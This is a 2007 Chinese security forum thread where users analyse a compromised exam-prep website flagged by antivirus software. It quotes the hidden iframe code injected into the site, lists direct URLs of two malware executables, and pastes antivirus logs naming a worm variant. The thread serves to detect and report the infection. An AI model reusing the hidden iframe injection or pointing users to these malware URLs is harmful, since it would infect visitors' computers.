http://www.100exam.com

显示全部楼层 · 发表于 2007-12-31 15:59:20

圣才考研网上红伞报的http://www.100exam.com，每打开一个就报一次不同页面都有

不知道怎么抓的这是隔离文件里的文件是不是这个就无毒性了

[ 本帖最后由 yuyando 于 2007-12-31 16:15 编辑 ]

显示全部楼层 · 发表于 2007-12-31 18:32:13

1) http://www.100exam.com : 存在危险
2) http://www.100exam.com/css.css : 未知网页 height=14>
3) http://127.0.0.1/m.htm : 未知网页 height=14>
4) http://js.users.51.la/1527753.js : 安全
5) http://www.100exam.com/SRc=http://web.47255.com/www/web.htm : 未知网页
6) http://xxx.hao1680.com/xx.htm?id=017 : 未知网页

危险的链接：1
安全的链接：1
失效的链接：4
页面总数量：6

显示全部楼层 · 发表于 2007-12-31 18:33:20

隔离文件无问题，非PE文件。

显示全部楼层 · 发表于 2007-12-31 18:47:28

“老朋友”

<iFrAmE SRc=http://web.47255.com/www/web.htm width=0 height=100></IfRaMe>
<iframe src=http://xxx.hao1680.com/xx.htm?id=017 width=0 height=0></iframe>

显示全部楼层 · 发表于 2007-12-31 18:59:27

隔离文件被AntiVir处理过了

P.S.

http://web.47255.com/www/www.exe
http://qqq.qq1680.com/dod.exe

[ 本帖最后由 dikex 于 2007-12-31 19:01 编辑 ]

显示全部楼层 · 发表于 2007-12-31 21:30:08

捉了这个东西

显示全部楼层 · 发表于 2007-12-31 22:06:49

svchost.rar » RAR » svchost.exe - probably unknown NewHeur_PE virus
2007-12-31 22:07:42 HTTP filter file http://web.47255.com/www/www.exe probably unknown NewHeur_PE virus connection terminated - quarantined Threat was detected upon access to web by the application: C:\Program Files\Internet Explorer\iexplore.exe.
2007-12-31 22:08:50 HTTP filter file http://qqq.qq1680.com/dod.exe a variant of Win32/Jalous worm connection terminated - quarantined Threat was detected upon access to web by the application: C:\Program Files\Internet Explorer\iexplore.exe.

[ 本帖最后由 testhawk 于 2007-12-31 22:11 编辑 ]

显示全部楼层 · 发表于 2007-12-31 23:07:59

铁壳，红伞报，不错，高风险

[已鉴定] http://www.100exam.com